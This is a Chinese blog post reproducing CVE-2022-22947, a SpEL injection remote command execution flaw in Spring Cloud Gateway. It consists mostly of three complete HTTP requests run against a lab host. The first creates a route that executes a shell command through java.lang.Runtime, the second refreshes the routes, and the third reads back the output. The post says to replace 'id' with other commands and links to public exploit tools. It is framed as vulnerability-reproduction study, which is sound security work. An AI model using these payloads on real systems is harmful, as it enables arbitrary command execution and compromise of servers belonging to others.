Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

名称: spring 命令执行 (CVE-2022-22947)

描述: Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

影响版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

‍

第一个数据包

打开靶场抓取请求的数据包

切换成POST模式,请求这个地址,提交内容如下:返回201即为成功

可以更换请求路径中的test为你自己的方法,也可以更换value值里面的id命令为其它执行命令

bash 复制代码
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

​​

第二个数据包

再请求这个路径:

bash 复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

123

​​

‍

第三个数据包

再请求这个路径命令就会被执行。

bash 复制代码
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cookie: b-user-id=98bc3e19-a246-205e-df14-b0f6176e841d; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc; sidebarStatus=0; JSESSIONID=6F5D2993DEE6FC179A1F71F6045DE7AA
If-None-Match: "3147526947+gzip"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close

​​

在这三次的请求中,会更换请求头的内容。如果发现卡住不成功的情况。那就重新抓一个包

如果要执行其它命令需要从第一步到第三步都请求一遍。

‍

也有利用工具:

https://github.com/0x727/SpringBootExploit

​​

‍

https://github.com/13exp/SpringBoot-Scan-GUI

‍

相关推荐
愤怒火龙果2 小时前
蓝队笔记整理01 C2 远控与 Webshell 流量特征
笔记·网络安全
学逆向的2 小时前
C 宏函数
c语言·开发语言·网络安全
启博网络3 小时前
智慧档案库房工业组网:MR-1280 边缘大脑,实现温湿度、漏水、防火防盗设备智能联动教程
运维·网络·物联网·网络协议·网络安全·信息与通信·sdwan
学逆向的5 小时前
C 悬空指针
c语言·开发语言·网络安全
时代新威powertime20 小时前
时代新威·视角|云计算平台中数据隐私保护机制的研究
网络安全·云计算
dk_tjy1 天前
迪康加密系统技术解析:驱动层透明加密的机制、策略与工程权衡
运维·安全·网络安全·终端安全管理·数据防泄漏
学逆向的1 天前
C 可变量参数
c语言·开发语言·网络安全
孙克旭_1 天前
文件包含漏洞
网络安全
其实防守也摸鱼1 天前
Cylab在线靶场——挑战图书馆初学者指南
服务器·前端·数据库·chrome·安全·网络安全·靶场
m0_715674432 天前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
网络·安全·网络安全